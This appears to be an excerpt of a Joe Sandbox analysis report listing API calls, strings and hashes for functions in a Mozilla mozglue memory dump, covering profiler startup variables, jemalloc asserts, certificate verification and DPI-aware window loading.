Part of subcall function 6CA1AB3F: EnterCriticalSection.KERNEL32(6CA6E370,?,?,6C9E3527,6CA6F6CC,?,?,?,?,?,?,?,?,6C9E3284), ref: 6CA1AB49
Part of subcall function 6CA1AB3F: LeaveCriticalSection.KERNEL32(6CA6E370,?,6C9E3527,6CA6F6CC,?,?,?,?,?,?,?,?,6C9E3284,?,?,6CA056F6), ref: 6CA1AB7C

Part of subcall function 6CA1CBE8: GetCurrentProcess.KERNEL32(?,6C9E31A7), ref: 6CA1CBF1
Part of subcall function 6CA1CBE8: TerminateProcess.KERNEL32(00000000,00000003,?,6C9E31A7), ref: 6CA1CBFA

GetCurrentThreadId.KERNEL32 ref: 6C9F54F9
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_HELP), ref: 6C9F5516
GetCurrentThreadId.KERNEL32 ref: 6C9F556A
AcquireSRWLockExclusive.KERNEL32(6CA6F4B8), ref: 6C9F5577
moz_xmalloc.MOZGLUE(00000070), ref: 6C9F5585
?ProcessCreation@TimeStamp@mozilla@@SA?AV12@XZ.MOZGLUE(00000000,00000001), ref: 6C9F5590
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_STARTUP,?,00000001), ref: 6C9F55E6
ReleaseSRWLockExclusive.KERNEL32(6CA6F4B8), ref: 6C9F5606
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C9F5616

Part of subcall function 6CA1AB89: EnterCriticalSection.KERNEL32(6CA6E370,?,?,?,6C9E34DE,6CA6F6CC,?,?,?,?,?,?,?,6C9E3284), ref: 6CA1AB94
Part of subcall function 6CA1AB89: LeaveCriticalSection.KERNEL32(6CA6E370,?,6C9E34DE,6CA6F6CC,?,?,?,?,?,?,?,6C9E3284,?,?,6CA056F6), ref: 6CA1ABD1

GetCurrentThreadId.KERNEL32 ref: 6C9F563E
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C9F5646
exit.API-MS-WIN-CRT-RUNTIME-L1-1-0(00000000), ref: 6C9F567C
free.MOZGLUE(?), ref: 6C9F56AE

Part of subcall function 6CA05E90: EnterCriticalSection.KERNEL32(-0000000C), ref: 6CA05EDB
Part of subcall function 6CA05E90: memset.VCRUNTIME140(6CA47765,000000E5,55CCCCCC), ref: 6CA05F27
Part of subcall function 6CA05E90: LeaveCriticalSection.KERNEL32(?), ref: 6CA05FB2

getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_STARTUP_NO_BASE), ref: 6C9F56E8
GetCurrentThreadId.KERNEL32 ref: 6C9F5707
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,00000001), ref: 6C9F570F
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_STARTUP_ENTRIES), ref: 6C9F5729
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_STARTUP_DURATION), ref: 6C9F574E
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_STARTUP_INTERVAL), ref: 6C9F576B
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_STARTUP_FEATURES_BITFIELD), ref: 6C9F5796
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_STARTUP_FEATURES), ref: 6C9F57B3
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_STARTUP_FILTERS), ref: 6C9F57CA

Strings

MOZ_PROFILER_STARTUP_ENTRIES, xrefs: 6C9F5724
- MOZ_PROFILER_STARTUP_ENTRIES unit must be one of the following: KB, KiB, MB, MiB, GB, GiB, xrefs: 6C9F5D2B
MOZ_PROFILER_STARTUP_INTERVAL, xrefs: 6C9F5766
[I %d/%d] - MOZ_PROFILER_STARTUP_ENTRIES = %u, xrefs: 6C9F5C56
[I %d/%d] - MOZ_PROFILER_STARTUP_FEATURES = %d, xrefs: 6C9F584E
- MOZ_PROFILER_STARTUP_DURATION not a valid float: %s, xrefs: 6C9F5CF9
MOZ_PROFILER_STARTUP_FILTERS, xrefs: 6C9F57C5
MOZ_BASE_PROFILER_LOGGING, xrefs: 6C9F54B9
[I %d/%d] profiler_init, xrefs: 6C9F564E
MOZ_BASE_PROFILER_VERBOSE_LOGGING, xrefs: 6C9F548D
[I %d/%d] - MOZ_PROFILER_STARTUP is set, xrefs: 6C9F5717
- MOZ_PROFILER_STARTUP_ENTRIES not a valid integer: %s, xrefs: 6C9F5D24
MOZ_PROFILER_STARTUP_FEATURES_BITFIELD, xrefs: 6C9F5791
MOZ_BASE_PROFILER_HELP, xrefs: 6C9F5511
MOZ_PROFILER_STARTUP_NO_BASE, xrefs: 6C9F56E3
- MOZ_PROFILER_STARTUP_INTERVAL not a valid float: %s, xrefs: 6C9F5D01
MOZ_PROFILER_STARTUP_FEATURES, xrefs: 6C9F57AE
MOZ_BASE_PROFILER_DEBUG_LOGGING, xrefs: 6C9F54A3
- MOZ_PROFILER_STARTUP_FEATURES_BITFIELD not a valid integer: %s, xrefs: 6C9F5D1C
MOZ_PROFILER_STARTUP_DURATION, xrefs: 6C9F5749
[I %d/%d] - MOZ_PROFILER_STARTUP_FEATURES_BITFIELD = %d, xrefs: 6C9F5AC9
MOZ_PROFILER_STARTUP, xrefs: 6C9F55E1
GeckoMain, xrefs: 6C9F5554, 6C9F55D5
[I %d/%d] -> This process is excluded and won't be profiled, xrefs: 6C9F5BBE
[I %d/%d] - MOZ_PROFILER_STARTUP_FILTERS = %s, xrefs: 6C9F5B38

Memory Dump Source

Source File: 00000000.00000002.2755842972.000000006C9E1000.00000020.00000001.01000000.00000014.sdmp, Offset: 6C9E0000, based on PE: true

Associated: 00000000.00000002.2755805573.000000006C9E0000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2755907922.000000006CA5D000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2755943740.000000006CA6E000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2755972976.000000006CA72000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c9e0000_file.jbxd

Similarity

API ID: getenv$CriticalSection$Current$Thread$EnterLeaveProcess$ExclusiveLock_getpidfree$AcquireCreation@Init_thread_footerReleaseStamp@mozilla@@TerminateTimeV12@exitmemsetmoz_xmalloc
String ID: - MOZ_PROFILER_STARTUP_DURATION not a valid float: %s$- MOZ_PROFILER_STARTUP_ENTRIES not a valid integer: %s$- MOZ_PROFILER_STARTUP_ENTRIES unit must be one of the following: KB, KiB, MB, MiB, GB, GiB$- MOZ_PROFILER_STARTUP_FEATURES_BITFIELD not a valid integer: %s$- MOZ_PROFILER_STARTUP_INTERVAL not a valid float: %s$GeckoMain$MOZ_BASE_PROFILER_DEBUG_LOGGING$MOZ_BASE_PROFILER_HELP$MOZ_BASE_PROFILER_LOGGING$MOZ_BASE_PROFILER_VERBOSE_LOGGING$MOZ_PROFILER_STARTUP$MOZ_PROFILER_STARTUP_DURATION$MOZ_PROFILER_STARTUP_ENTRIES$MOZ_PROFILER_STARTUP_FEATURES$MOZ_PROFILER_STARTUP_FEATURES_BITFIELD$MOZ_PROFILER_STARTUP_FILTERS$MOZ_PROFILER_STARTUP_INTERVAL$MOZ_PROFILER_STARTUP_NO_BASE$[I %d/%d] -> This process is excluded and won't be profiled$[I %d/%d] - MOZ_PROFILER_STARTUP is set$[I %d/%d] - MOZ_PROFILER_STARTUP_ENTRIES = %u$[I %d/%d] - MOZ_PROFILER_STARTUP_FEATURES = %d$[I %d/%d] - MOZ_PROFILER_STARTUP_FEATURES_BITFIELD = %d$[I %d/%d] - MOZ_PROFILER_STARTUP_FILTERS = %s$[I %d/%d] profiler_init
API String ID: 3686969729-1266492768
Opcode ID: 6dbfee5026d559da42c049f4d9ad372aeff462f45419d82d09da7e11b55efefb
Instruction ID: 3fa142c445322394142a68e71295485c4ce546a6839606ec0516f31734b9f19f
Opcode Fuzzy Hash: 6dbfee5026d559da42c049f4d9ad372aeff462f45419d82d09da7e11b55efefb
Instruction Fuzzy Hash: 012216B4A043019FDB009F76895836A7BB5BF4634CF04C629F96687F41E735D48ACB62

Function 6CA2B820 Relevance: 102.6, APIs: 56, Strings: 2, Instructions: 1128
threadtimeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCurrentThreadId.KERNEL32 ref: 6CA2B845
AcquireSRWLockExclusive.KERNEL32(6CA6F4B8,?,?,00000000), ref: 6CA2B852
ReleaseSRWLockExclusive.KERNEL32(6CA6F4B8), ref: 6CA2B884
InitializeConditionVariable.KERNEL32(?), ref: 6CA2B8D2
?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001,?), ref: 6CA2B9FD
GetCurrentThreadId.KERNEL32 ref: 6CA2BA05
AcquireSRWLockExclusive.KERNEL32(6CA6F4B8,?,?,00000000), ref: 6CA2BA12
?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001,?,?,00000000), ref: 6CA2BA27
ReleaseSRWLockExclusive.KERNEL32(6CA6F4B8), ref: 6CA2BA4B
free.MOZGLUE(?), ref: 6CA2C9C7
free.MOZGLUE(?), ref: 6CA2C9DC

Strings

[I %d/%d] Stack sample too big for profiler storage, needed %u bytes, xrefs: 6CA2C878
[I %d/%d] Stack sample too big for local storage, needed %u bytes, xrefs: 6CA2C7DA

Memory Dump Source

Source File: 00000000.00000002.2755842972.000000006C9E1000.00000020.00000001.01000000.00000014.sdmp, Offset: 6C9E0000, based on PE: true

Associated: 00000000.00000002.2755805573.000000006C9E0000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2755907922.000000006CA5D000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2755943740.000000006CA6E000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2755972976.000000006CA72000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c9e0000_file.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentNow@ReleaseStamp@mozilla@@ThreadTimeV12@_free$ConditionInitializeVariable
String ID: [I %d/%d] Stack sample too big for local storage, needed %u bytes$[I %d/%d] Stack sample too big for profiler storage, needed %u bytes
API String ID: 656605770-2789026554
Opcode ID: d5ad6efbb2e3d5b7a9318ec7fb3397a81d7780124fbc37ba3dd538316229b3f0
Instruction ID: 92f60c94fa08ad7d5b8d5fab48ff6bd996d7bc8df34523ad7bbd6f22b0bd5caf
Opcode Fuzzy Hash: d5ad6efbb2e3d5b7a9318ec7fb3397a81d7780124fbc37ba3dd538316229b3f0
Instruction Fuzzy Hash: 79A2B071A083918FD725CF29C48479BB7F5BFC9318F048A2DE89997750DB349989CB82

Function 6C9F6C80 Relevance: 95.2, APIs: 50, Strings: 4, Instructions: 727
encryptionfileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CryptQueryObject.CRYPT32(00000001,?,00000400,00000002,00000000,?,?,?,?,?,00000000), ref: 6C9F6CCC
CryptMsgGetParam.CRYPT32(00000000,00000007,00000000,00000000,0000000C), ref: 6C9F6D11
moz_xmalloc.MOZGLUE(0000000C), ref: 6C9F6D26

Part of subcall function 6C9FCA10: malloc.MOZGLUE(?), ref: 6C9FCA26

memset.VCRUNTIME140(00000000,00000000,0000000C), ref: 6C9F6D35
CryptMsgGetParam.CRYPT32(00000000,00000007,00000000,00000000,0000000C), ref: 6C9F6D53
CertFindCertificateInStore.CRYPT32(00000000,00010001,00000000,000B0000,00000000,00000000), ref: 6C9F6D73
free.MOZGLUE(00000000), ref: 6C9F6D80
CertGetNameStringW.CRYPT32 ref: 6C9F6DC0
moz_xmalloc.MOZGLUE(00000000), ref: 6C9F6DDC
memset.VCRUNTIME140(00000000,00000000,00000000), ref: 6C9F6DEB
CertGetNameStringW.CRYPT32(00000000,00000004,00000000,00000000,00000000,00000000), ref: 6C9F6DFF
CertFreeCertificateContext.CRYPT32(00000000), ref: 6C9F6E10
CryptMsgClose.CRYPT32(00000000), ref: 6C9F6E27
CertCloseStore.CRYPT32(00000000,00000000), ref: 6C9F6E34
CreateFileW.KERNEL32 ref: 6C9F6EF9
moz_xmalloc.MOZGLUE(00000000), ref: 6C9F6F7D
memset.VCRUNTIME140(00000000,00000000,00000000), ref: 6C9F6F8C
memset.VCRUNTIME140(00000002,00000000,00000208), ref: 6C9F709D
CryptQueryObject.CRYPT32(00000001,00000002,00000400,00000002,00000000,?,?,?,?,?,00000000), ref: 6C9F7103
free.MOZGLUE(00000000), ref: 6C9F7153
CloseHandle.KERNEL32(?), ref: 6C9F7176
__Init_thread_footer.LIBCMT ref: 6C9F7209
__Init_thread_footer.LIBCMT ref: 6C9F723A
__Init_thread_footer.LIBCMT ref: 6C9F726B
__Init_thread_footer.LIBCMT ref: 6C9F729C
__Init_thread_footer.LIBCMT ref: 6C9F72DC
__Init_thread_footer.LIBCMT ref: 6C9F730D
memset.VCRUNTIME140(?,00000000,00000110), ref: 6C9F73C2
VerSetConditionMask.NTDLL ref: 6C9F73F3
VerSetConditionMask.NTDLL ref: 6C9F73FF
VerSetConditionMask.NTDLL ref: 6C9F7406
VerSetConditionMask.NTDLL ref: 6C9F740D
VerifyVersionInfoW.KERNEL32(?,00000033,00000000), ref: 6C9F741A
moz_xmalloc.MOZGLUE(?), ref: 6C9F755A
memset.VCRUNTIME140(00000000,00000000,?), ref: 6C9F7568
CryptBinaryToStringW.CRYPT32(00000000,00000000,4000000C,00000000,?), ref: 6C9F7585
_wcsupr_s.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?), ref: 6C9F7598
free.MOZGLUE(00000000), ref: 6C9F75AC

Part of subcall function 6CA1AB89: EnterCriticalSection.KERNEL32(6CA6E370,?,?,?,6C9E34DE,6CA6F6CC,?,?,?,?,?,?,?,6C9E3284), ref: 6CA1AB94
Part of subcall function 6CA1AB89: LeaveCriticalSection.KERNEL32(6CA6E370,?,6C9E34DE,6CA6F6CC,?,?,?,?,?,?,?,6C9E3284,?,?,6CA056F6), ref: 6CA1ABD1

Strings

SHA256, xrefs: 6C9F6EC0
(, xrefs: 6C9F768A
CryptCATAdminReleaseCatalogContext, xrefs: 6C9F72C8
wintrust.dll, xrefs: 6C9F72CD

Memory Dump Source

Source File: 00000000.00000002.2755842972.000000006C9E1000.00000020.00000001.01000000.00000014.sdmp, Offset: 6C9E0000, based on PE: true

Associated: 00000000.00000002.2755805573.000000006C9E0000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2755907922.000000006CA5D000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2755943740.000000006CA6E000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2755972976.000000006CA72000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c9e0000_file.jbxd

Similarity

API ID: CryptInit_thread_footermemset$Cert$ConditionMaskmoz_xmalloc$CloseStringfree$CertificateCriticalNameObjectParamQuerySectionStore$BinaryContextCreateEnterFileFindFreeHandleInfoLeaveVerifyVersion_wcsupr_smalloc
String ID: ($CryptCATAdminReleaseCatalogContext$SHA256$wintrust.dll
API String ID: 3256780453-3980470659
Opcode ID: edf9f991dc619258a533d754bacfcc7f237708fe46beb498300ed1c7d2ba4094
Instruction ID: 59bfc4c6cf80fbcb7d0da541996e9f1cf9104c941e17ee00269d417aa3626434
Opcode Fuzzy Hash: edf9f991dc619258a533d754bacfcc7f237708fe46beb498300ed1c7d2ba4094
Instruction Fuzzy Hash: EA52D4B1A003159FEB259F25CC88BAA77BDFF45708F008199E51997640DB70AF8ACF51

Function 6CA16FF0 Relevance: 89.1, APIs: 39, Strings: 10, Instructions: 3347COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6CA6E7DC), ref: 6CA17019
LeaveCriticalSection.KERNEL32(6CA6E7DC), ref: 6CA17061
EnterCriticalSection.KERNEL32(?), ref: 6CA171A4
LeaveCriticalSection.KERNEL32(?), ref: 6CA1721D
memcpy.VCRUNTIME140(?,?,?), ref: 6CA1723E
EnterCriticalSection.KERNEL32(?), ref: 6CA1726C
memset.VCRUNTIME140(?,000000E5,000000FF), ref: 6CA172B2
LeaveCriticalSection.KERNEL32(?), ref: 6CA1733F
EnterCriticalSection.KERNEL32(0000000C), ref: 6CA173E8
LeaveCriticalSection.KERNEL32(?), ref: 6CA1961C
_errno.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6CA19622
?RandomUint64@mozilla@@YA?AV?$Maybe@_K@1@XZ.MOZGLUE(?), ref: 6CA19642
?RandomUint64@mozilla@@YA?AV?$Maybe@_K@1@XZ.MOZGLUE(?), ref: 6CA1964F
?RandomUint64@mozilla@@YA?AV?$Maybe@_K@1@XZ.MOZGLUE(?), ref: 6CA196CE
?RandomUint64@mozilla@@YA?AV?$Maybe@_K@1@XZ.MOZGLUE(?), ref: 6CA196DB
AcquireSRWLockExclusive.KERNEL32(6CA6E804), ref: 6CA19747
GetSystemInfo.KERNEL32(?), ref: 6CA19792
__Init_thread_footer.LIBCMT ref: 6CA197A5
GetEnvironmentVariableA.KERNEL32(MALLOC_OPTIONS,6CA6E810,00000040), ref: 6CA197CF
InitializeCriticalSectionAndSpinCount.KERNEL32(6CA6E7B8,00001388), ref: 6CA19838
InitializeCriticalSectionAndSpinCount.KERNEL32(6CA6E744,00001388), ref: 6CA1984E
InitializeCriticalSectionAndSpinCount.KERNEL32(6CA6E784,00001388), ref: 6CA19874
InitializeCriticalSectionAndSpinCount.KERNEL32(6CA6E7DC,00001388), ref: 6CA19895

Strings

MOZ_RELEASE_ASSERT(!aArena || arena == aArena), xrefs: 6CA19993
MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x01U)) != 0) (Double-free?), xrefs: 6CA199BD
MOZ_RELEASE_ASSERT(mNode), xrefs: 6CA19933, 6CA19A33, 6CA19A4E
MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x20U)) == 0) (Freeing in decommitted page.), xrefs: 6CA199A8
MALLOC_OPTIONS, xrefs: 6CA197CA
MOZ_RELEASE_ASSERT((run->mRegionsMask[elm] & (1U << bit)) == 0) (Double-free?), xrefs: 6CA199D2
Compile-time page size does not divide the runtime one., xrefs: 6CA19B38
<jemalloc>, xrefs: 6CA19B33, 6CA19BE3
: (malloc) Unsupported character in malloc options: ', xrefs: 6CA19BF4
MOZ_CRASH(), xrefs: 6CA19B42

Memory Dump Source

Source File: 00000000.00000002.2755842972.000000006C9E1000.00000020.00000001.01000000.00000014.sdmp, Offset: 6C9E0000, based on PE: true

Associated: 00000000.00000002.2755805573.000000006C9E0000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2755907922.000000006CA5D000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2755943740.000000006CA6E000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2755972976.000000006CA72000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c9e0000_file.jbxd

Similarity

API ID: CriticalSection$CountEnterInitializeK@1@LeaveMaybe@_RandomSpinUint64@mozilla@@$AcquireEnvironmentExclusiveInfoInit_thread_footerLockSystemVariable_errnomemcpymemset
String ID: : (malloc) Unsupported character in malloc options: '$<jemalloc>$Compile-time page size does not divide the runtime one.$MALLOC_OPTIONS$MOZ_CRASH()$MOZ_RELEASE_ASSERT(!aArena || arena == aArena)$MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x01U)) != 0) (Double-free?)$MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x20U)) == 0) (Freeing in decommitted page.)$MOZ_RELEASE_ASSERT((run->mRegionsMask[elm] & (1U << bit)) == 0) (Double-free?)$MOZ_RELEASE_ASSERT(mNode)
API String ID: 4047164644-4173974723
Opcode ID: f49426430a60e57b536521690a2543d0c2380beb86ca8aed3f1ae47cae2cd3aa
Instruction ID: 77792ffba70649c062e6bd15facef3a75d70e219c4d5d54118753563400528ee
Opcode Fuzzy Hash: f49426430a60e57b536521690a2543d0c2380beb86ca8aed3f1ae47cae2cd3aa
Instruction Fuzzy Hash: 66534D71A097018FD704CF29C580615FBE1BF8A328F29C66DE969DBB91D771E881CB81

Function 6CA20DD0 Relevance: 83.9, APIs: 36, Strings: 10, Instructions: 3368COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(?), ref: 6CA20F1F
LeaveCriticalSection.KERNEL32(?), ref: 6CA20F99
memcpy.VCRUNTIME140(?,?,?), ref: 6CA20FB7
EnterCriticalSection.KERNEL32(?), ref: 6CA20FE9
memset.VCRUNTIME140(?,000000E5,00000000), ref: 6CA21031
LeaveCriticalSection.KERNEL32(?), ref: 6CA210D0
EnterCriticalSection.KERNEL32(?), ref: 6CA2117D
memset.VCRUNTIME140(?,000000E5,?), ref: 6CA21C39
EnterCriticalSection.KERNEL32(6CA6E744), ref: 6CA23391
LeaveCriticalSection.KERNEL32(6CA6E744), ref: 6CA233CD
LeaveCriticalSection.KERNEL32(?), ref: 6CA23431
_errno.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6CA23437

Strings

MOZ_RELEASE_ASSERT(!aArena || arena == aArena), xrefs: 6CA23793
MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x01U)) != 0) (Double-free?), xrefs: 6CA237BD
MOZ_RELEASE_ASSERT(mNode), xrefs: 6CA23559, 6CA2382D, 6CA23848
MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x20U)) == 0) (Freeing in decommitted page.), xrefs: 6CA237A8
MALLOC_OPTIONS, xrefs: 6CA235FE
MOZ_RELEASE_ASSERT((run->mRegionsMask[elm] & (1U << bit)) == 0) (Double-free?), xrefs: 6CA237D2
Compile-time page size does not divide the runtime one., xrefs: 6CA23946
<jemalloc>, xrefs: 6CA23941, 6CA239F1
: (malloc) Unsupported character in malloc options: ', xrefs: 6CA23A02
MOZ_CRASH(), xrefs: 6CA23950

Memory Dump Source

Source File: 00000000.00000002.2755842972.000000006C9E1000.00000020.00000001.01000000.00000014.sdmp, Offset: 6C9E0000, based on PE: true

Associated: 00000000.00000002.2755805573.000000006C9E0000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2755907922.000000006CA5D000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2755943740.000000006CA6E000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2755972976.000000006CA72000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c9e0000_file.jbxd

Similarity

API ID: CriticalSection$EnterLeave$memset$_errnomemcpy
String ID: : (malloc) Unsupported character in malloc options: '$<jemalloc>$Compile-time page size does not divide the runtime one.$MALLOC_OPTIONS$MOZ_CRASH()$MOZ_RELEASE_ASSERT(!aArena || arena == aArena)$MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x01U)) != 0) (Double-free?)$MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x20U)) == 0) (Freeing in decommitted page.)$MOZ_RELEASE_ASSERT((run->mRegionsMask[elm] & (1U << bit)) == 0) (Double-free?)$MOZ_RELEASE_ASSERT(mNode)
API String ID: 3040639385-4173974723
Opcode ID: b2628e3e9dcca4aa0881bfded3f0f1348ff2d2f61863b52ea1f79831038a687d
Instruction ID: c0a4225d4947eae691b92520e316e95001bb821216ad71bcc4d0287ac15d235e
Opcode Fuzzy Hash: b2628e3e9dcca4aa0881bfded3f0f1348ff2d2f61863b52ea1f79831038a687d
Instruction Fuzzy Hash: F4536C71A157118FC304CF29C540625BBE1BF86328F2DC76DE8A99B791D77AE881CB81

Function 6CA455F0 Relevance: 77.2, APIs: 22, Strings: 22, Instructions: 163
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LoadLibraryW.KERNEL32(user32,?,6CA1E1A5), ref: 6CA45606
LoadLibraryW.KERNEL32(gdi32,?,6CA1E1A5), ref: 6CA4560F
GetProcAddress.KERNEL32(00000000,GetThreadDpiAwarenessContext), ref: 6CA45633
GetProcAddress.KERNEL32(00000000,AreDpiAwarenessContextsEqual), ref: 6CA4563D
GetProcAddress.KERNEL32(00000000,EnableNonClientDpiScaling), ref: 6CA4566C
GetProcAddress.KERNEL32(00000000,GetSystemMetricsForDpi), ref: 6CA4567D
GetProcAddress.KERNEL32(00000000,GetDpiForWindow), ref: 6CA45696
GetProcAddress.KERNEL32(00000000,RegisterClassW), ref: 6CA456B2
GetProcAddress.KERNEL32(00000000,CreateWindowExW), ref: 6CA456CB
GetProcAddress.KERNEL32(00000000,ShowWindow), ref: 6CA456E4
GetProcAddress.KERNEL32(00000000,SetWindowPos), ref: 6CA456FD
GetProcAddress.KERNEL32(00000000,GetWindowDC), ref: 6CA45716
GetProcAddress.KERNEL32(00000000,FillRect), ref: 6CA4572F
GetProcAddress.KERNEL32(00000000,ReleaseDC), ref: 6CA45748
GetProcAddress.KERNEL32(00000000,LoadIconW), ref: 6CA45761
GetProcAddress.KERNEL32(00000000,LoadCursorW), ref: 6CA4577A
GetProcAddress.KERNEL32(00000000,MonitorFromWindow), ref: 6CA45793
GetProcAddress.KERNEL32(00000000,GetMonitorInfoW), ref: 6CA457A8
GetProcAddress.KERNEL32(00000000,SetWindowLongPtrW), ref: 6CA457BD
GetProcAddress.KERNEL32(?,StretchDIBits), ref: 6CA457D5
GetProcAddress.KERNEL32(?,CreateSolidBrush), ref: 6CA457EA
GetProcAddress.KERNEL32(?,DeleteObject), ref: 6CA457FF

Strings

LoadCursorW, xrefs: 6CA45774
ShowWindow, xrefs: 6CA456DE
StretchDIBits, xrefs: 6CA457CC
EnableNonClientDpiScaling, xrefs: 6CA45666
CreateSolidBrush, xrefs: 6CA457E4
SetWindowLongPtrW, xrefs: 6CA457B7
CreateWindowExW, xrefs: 6CA456C5
GetWindowDC, xrefs: 6CA45710
GetMonitorInfoW, xrefs: 6CA457A2
GetThreadDpiAwarenessContext, xrefs: 6CA4562D
GetSystemMetricsForDpi, xrefs: 6CA45677
gdi32, xrefs: 6CA4560A
FillRect, xrefs: 6CA45729
AreDpiAwarenessContextsEqual, xrefs: 6CA45637
SetWindowPos, xrefs: 6CA456F7
user32, xrefs: 6CA45601
GetDpiForWindow, xrefs: 6CA45690
RegisterClassW, xrefs: 6CA456AC
MonitorFromWindow, xrefs: 6CA4578D
LoadIconW, xrefs: 6CA4575B
DeleteObject, xrefs: 6CA457F9
ReleaseDC, xrefs: 6CA45742

Memory Dump Source

Source File: 00000000.00000002.2755842972.000000006C9E1000.00000020.00000001.01000000.00000014.sdmp, Offset: 6C9E0000, based on PE: true

Associated: 00000000.00000002.2755805573.000000006C9E0000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2755907922.000000006CA5D000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2755943740.000000006CA6E000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2755972976.000000006CA72000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c9e0000_file.jbxd

Similarity

API ID: AddressProc$LibraryLoad
String ID: AreDpiAwarenessContextsEqual$CreateSolidBrush$CreateWindowExW$DeleteObject$EnableNonClientDpiScaling$FillRect$GetDpiForWindow$GetMonitorInfoW$GetSystemMetricsForDpi$GetThreadDpiAwarenessContext$GetWindowDC$LoadCursorW$LoadIconW$MonitorFromWindow$RegisterClassW$ReleaseDC$SetWindowLongPtrW$SetWindowPos$ShowWindow$StretchDIBits$gdi32$user32
API String ID: 2238633743-1964193996
Opcode ID: b52cdbc5af864a84dfc9ef6dd7b92bc3ad929f952acb544a9d6a2f5db0eea2dd
Instruction ID: fc5cc81e6b32cbd4f67df272d0f0bcdd7fc3970721995443b8a24725c0c168f1
Opcode Fuzzy Hash: b52cdbc5af864a84dfc9ef6dd7b92bc3ad929f952acb544a9d6a2f5db0eea2dd
Instruction Fuzzy Hash: A35112B4A117139FDB059F379D58A363AB8BB06345714C52AB921E2A42EF74CC829F70

Function 6CA434A0 Relevance: 61.0, APIs: 33, Strings: 1, Instructions: 1467COMMON

Download Yara Rule

APIs

floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CA43527
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CA4355B
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CA435BC
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CA435E0
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CA4363A
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CA43693
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CA436CD
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CA43703
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CA4373C
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CA43775
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CA4378F
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CA43892
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CA438BB
